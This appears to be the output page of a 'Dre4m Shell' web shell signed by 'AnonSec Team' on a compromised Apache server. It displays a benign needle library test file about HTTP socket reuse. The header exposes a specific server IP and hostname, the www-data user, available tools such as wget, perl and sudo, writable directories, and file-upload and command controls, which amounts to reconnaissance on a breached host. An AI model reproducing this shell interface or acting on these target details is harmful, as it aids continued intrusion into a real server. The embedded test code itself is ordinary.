Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.216.232.215
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/3/task/3/root/proc/3/root/lib/node_modules/pm2/node_modules/needle/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/3/task/3/root/proc/3/root/lib/node_modules/pm2/node_modules/needle/test/socket_pool_spec.js
var needle  = require('../'),
    should  = require('should'),
    http    = require('http');

var server, port = 11112;

describe('socket reuse', function() {

  before(function() {
    server = http.createServer(function(req, res) {
      res.setHeader('Content-Type', 'application/json');
      setTimeout(function() {
        res.end('{"foo":"bar"}');
      }, 50);
    }).listen(port);
  });

  after(function() {
    server.close();
  });

  describe('when sockets are reused', function() {

    var httpAgent = new http.Agent({
      keepAlive  : true,
      maxSockets : 1
    });

    it('does not duplicate listeners on .end', function(done) {

      var last_error;
      var count = 10;

      function completed(err) {
        --count || done(last_error);
      }

      function send() {
        needle.get('localhost:' + port, { agent: httpAgent }, function(err, resp) {
          if (err)
            throw new Error("Unexpected error: " + err);

          // lets go through all sockets and inspect all socket objects
          for (hostTarget in httpAgent.sockets) {
            httpAgent.sockets[hostTarget].forEach(function(socket) {
              // normally, there are 2 internal listeners and 1 needle sets up,
              // but to be sure the test does not fail even if newer node versions
              // introduce additional listeners, we use a higher limit.
              try {
                socket.listeners('end').length.should.be.below(5, "too many listeners on the socket object's end event");
              } catch (e) {
                last_error = e;
              }
            });
          }

          completed();
        });
      }

      for (var i = 0; i < count; i++) {
        send();
      }
    });
  });
});

Anon7 - 2022
AnonSec Team